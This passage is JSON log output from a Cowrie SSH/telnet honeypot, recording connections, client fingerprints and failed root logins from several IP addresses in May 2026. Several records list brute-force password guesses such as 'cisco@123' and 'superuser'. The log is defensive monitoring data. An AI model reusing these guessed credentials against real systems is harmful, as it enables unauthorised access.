lman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:55.258665Z","src_ip":"200.108.174.4","session":"b41e0a986477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456","message":"login attempt [root/789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:55.880618Z","src_ip":"200.108.174.4","session":"b41e0a986477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:25:57.031920Z","src_ip":"200.108.174.4","session":"b41e0a986477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":52018,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d8b9c9e9cf2","protocol":"ssh","message":"New connection: 138.99.80.102:52018 (159.203.135.109:22) [session: 6d8b9c9e9cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:04.007656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:04.012872Z","src_ip":"138.99.80.102","session":"6d8b9c9e9cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:04.120344Z","src_ip":"138.99.80.102","session":"6d8b9c9e9cf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superuser","message":"login attempt [root/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:04.575585Z","src_ip":"138.99.80.102","session":"6d8b9c9e9cf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:05.684823Z","src_ip":"138.99.80.102","session":"6d8b9c9e9cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":53942,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae930dab60fb","protocol":"ssh","message":"New connection: 46.165.56.242:53942 (159.203.135.109:22) [session: ae930dab60fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:23.094087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:23.098696Z","src_ip":"46.165.56.242","session":"ae930dab60fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:23.263700Z","src_ip":"46.165.56.242","session":"ae930dab60fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:26.372980Z","src_ip":"46.165.56.242","session":"ae930dab60fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:28.672676Z","src_ip":"46.165.56.242","session":"ae930dab60fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":51228,"dst_ip":"159.203.135.109","dst_port":22,"session":"651f2138ed6b","protocol":"ssh","message":"New connection: 36.95.194.51:51228 (159.203.135.109:22) [session: 651f2138ed6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:36.032029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:36.036806Z","src_ip":"36.95.194.51","session":"651f2138ed6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:36.314661Z","src_ip":"36.95.194.51","session":"651f2138ed6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkimujgik","message":"login attempt [root/dkimujgik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:37.456851Z","src_ip":"36.95.194.51","session":"651f2138ed6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:26:38.737711Z","src_ip":"36.95.194.51","session":"651f2138ed6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":54676,"dst_ip":"159.203.135.109","dst_port":22,"session":"487903113bf0","protocol":"ssh","message":"New connection: 138.99.80.102:54676 (159.203.135.109:22) [session: 487903113bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:37.695837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:37.700434Z","src_ip":"138.99.80.102","session":"487903113bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:37.809189Z","src_ip":"138.99.80.102","session":"487903113bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":54572,"dst_ip":"159.203.135.109","dst_port":22,"session":"780220d01d2e","protocol":"ssh","message":"New connection: 46.165.56.242:54572 (159.203.135.109:22) [session: 780220d01d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:38.127895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:38.132543Z","src_ip":"46.165.56.242","session":"780220d01d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:38.274846Z","src_ip":"138.99.80.102","session":"487903113bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:38.284728Z","src_ip":"46.165.56.242","session":"780220d01d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd123456","message":"login attempt [root/abcd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:38.943507Z","src_ip":"46.165.56.242","session":"780220d01d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:39.385870Z","src_ip":"138.99.80.102","session":"487903113bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.67.40.30","src_port":48819,"dst_ip":"159.203.135.109","dst_port":23,"session":"19d46bf3e72e","protocol":"telnet","message":"New connection: 183.67.40.30:48819 (159.203.135.109:23) [session: 19d46bf3e72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:39.826811Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:40.103568Z","src_ip":"46.165.56.242","session":"780220d01d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":51938,"dst_ip":"159.203.135.109","dst_port":22,"session":"950ffa14eb3e","protocol":"ssh","message":"New connection: 200.108.174.4:51938 (159.203.135.109:22) [session: 950ffa14eb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:40.811864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:40.816542Z","src_ip":"200.108.174.4","session":"950ffa14eb3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:40.964494Z","src_ip":"200.108.174.4","session":"950ffa14eb3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkimujgik","message":"login attempt [root/dkimujgik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:41.579161Z","src_ip":"200.108.174.4","session":"950ffa14eb3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:42.729394Z","src_ip":"200.108.174.4","session":"950ffa14eb3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":35128,"dst_ip":"10.17.0.5","dst_port":22,"session":"f796d6fbb337","protocol":"ssh","message":"New connection: 144.91.86.102:35128 (10.17.0.5:22) [session: f796d6fbb337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:49.357111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:49.362355Z","src_ip":"144.91.86.102","session":"f796d6fbb337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:49.456270Z","src_ip":"144.91.86.102","session":"f796d6fbb337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k4t14m3","message":"login attempt [root/k4t14m3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:49.861361Z","src_ip":"144.91.86.102","session":"f796d6fbb337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:50.958029Z","src_ip":"144.91.86.102","session":"f796d6fbb337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.822602033615112,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:27:53.649293Z","src_ip":"183.67.40.30","session":"19d46bf3e72e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":41260,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e4468f5dafd","protocol":"ssh","message":"New connection: 36.95.194.51:41260 (159.203.135.109:22) [session: 5e4468f5dafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:08.577245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:08.581423Z","src_ip":"36.95.194.51","session":"5e4468f5dafd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:08.865209Z","src_ip":"36.95.194.51","session":"5e4468f5dafd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@123","message":"login attempt [root/cisco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:10.030886Z","src_ip":"36.95.194.51","session":"5e4468f5dafd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:28:11.318030Z","src_ip":"36.95.194.51","session":"5e4468f5dafd","protocol":"ssh"}
